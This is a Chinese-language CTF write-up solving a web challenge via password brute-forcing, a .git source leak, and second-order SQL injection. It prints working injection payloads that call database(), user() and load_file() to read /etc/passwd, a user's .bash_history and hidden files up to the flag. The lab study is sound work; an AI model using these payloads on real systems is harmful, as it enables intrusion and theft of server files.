首先我们看到账号密码有提示了
我们bp爆破一下
我首先对数字爆破 因为全字符的话太多了

爆出来了哦
所以账号密码也出来了
- zhangwei
- zhangwei666

没有什么用啊
扫一下吧

有git
那泄露看看

真有
- include "mysql.php";
- session_start();
- if($_SESSION['login'] != 'yes'){
- header("Location: ./login.php");
- die();
- }
- if(isset($_GET['do'])){
- switch ($_GET['do'])
- {
- case 'write':
- break;
- case 'comment':
- break;
- default:
- header("Location: ./index.php");
- }
- }
- else{
- header("Location: ./index.php");
- }
- ?>
原本的githack坏了
mirrors / BugScanTeam / GitHack · GitCode
重新下了一个 需要下载后 里面存在 .git文件夹
然后看上面的代码 根本没有看懂 感觉不是全部
所以我们可以使用git log --all看看
以前的情况

我们直接回到最开始
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
- include "mysql.php";
- session_start();
- if($_SESSION['login'] != 'yes'){
- header("Location: ./login.php");
- die();
- }
- if(isset($_GET['do'])){
- switch ($_GET['do'])
- {
- case 'write':
- $category = addslashes($_POST['category']);
- $title = addslashes($_POST['title']);
- $content = addslashes($_POST['content']);
- $sql = "insert into board
- set category = '$category',
- title = '$title',
- content = '$content'";
- $result = mysql_query($sql);
- header("Location: ./index.php");
- break;
- case 'comment':
- $bo_id = addslashes($_POST['bo_id']);
- $sql = "select category from board where id='$bo_id'";
- $result = mysql_query($sql);
- $num = mysql_num_rows($result);
- if($num>0){
- $category = mysql_fetch_array($result)['category'];
- $content = addslashes($_POST['content']);
- $sql = "insert into comment
- set category = '$category',
- content = '$content',
- bo_id = '$bo_id'";
- $result = mysql_query($sql);
- }
- header("Location: ./comment.php?id=$bo_id");
- break;
- default:
- header("Location: ./index.php");
- }
- }
- else{
- header("Location: ./index.php");
- }
- ?>
全部代码就出来了
用了个switch 内容为go
- addslashes 这里是 通过转义的方式 存入数据库 很容易造成二次注入
-
- 因为会把内容原封不动传入数据库
-
- 如果读取 就会造成二次注入
- case 'comment':
- $bo_id = addslashes($_POST['bo_id']);
- $sql = "select category from board where id='$bo_id'";
- $result = mysql_query($sql);
- $num = mysql_num_rows($result);
-
- 这里我们能发现 查询的内容 是 category
-
-
- 所以category 就是我们写入的内容的参数了
这里懂得差不多了
- $bo_id = addslashes($_POST['bo_id']);
- $sql = "select category from board where id='$bo_id'";
- $result = mysql_query($sql);
- $num = mysql_num_rows($result);
- if($num>0){
- $category = mysql_fetch_array($result)['category'];
- 主要是这里 设定了从数据库提取出来的值
-
- $content = addslashes($_POST['content']);
- $sql = "insert into comment
- set category = '$category',
- content = '$content',
- bo_id = '$bo_id'";
- $result = mysql_query($sql);
-
-
- 这里我们就可以构造了
-
- $category=0' content = database(),/* 后面的/*是用来和我们详情里面输入的content闭合
-
我们首先写入留言
0',content=database(),/*

然后进去提交留言

这个时候就会形成
- $sql = "insert into comment
- set category = '0',content = database(),/*',
- content = '*/#',
- bo_id = '$bo_id'";
- $result = mysql_query($sql);
-
-
- 更直观点
-
-
- $sql = "insert into comment
- set category = '0',content = database(),/*',content = '*/#',
- bo_id = '$bo_id'";
-
-
-
- /*',content = '*/#'
-
-
- 这里就为空了 所以现在的语句是
-
- set category = '0',content = database(),
- bo_id = '$bo_id'";
-

然后我们进行查表 发现没有flag
于是我们可以看看user()函数

发现是root权限
那么多半就是 读取了
load_file可以读取
我们读取看看
这里又是另一个文件读取的方法了
之前做的题 proc这里没有用
我们首先去查看 etc/passwd
0',content=(select load_file('/etc/passwd')),/*


发现存在 www用户 我们去看看他的历史命令
0',content=(select load_file('/home/www/.bash_history')),/*

这里发现了 是删除了 .DS_Store
但是ctf环境一般都是docker环境 所以在
/tmp/html下还会存在
我们去读取
- 0',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
- 这里需要通过十六进制输出 因为会有很多不可见的字符
我们通过通过瑞士军刀可以 恢复成 文件形式 并且导出
然后通过 Python-dsstore-master
来实现解析读取文件
py3 .\main.py .\samples\download.dat

我们来解析读取这个flag
0',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*

但是这个文件是错误的 flag为错误
可能修改了 所以我们回去 /var进行读取
0',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*
flag{5737c889-1e5b-47a6-b14d-87df5dd59e01}
知识点 过多了。。。。。
虽然都很基础 但是有的时候 真没想到 可以以后再做一次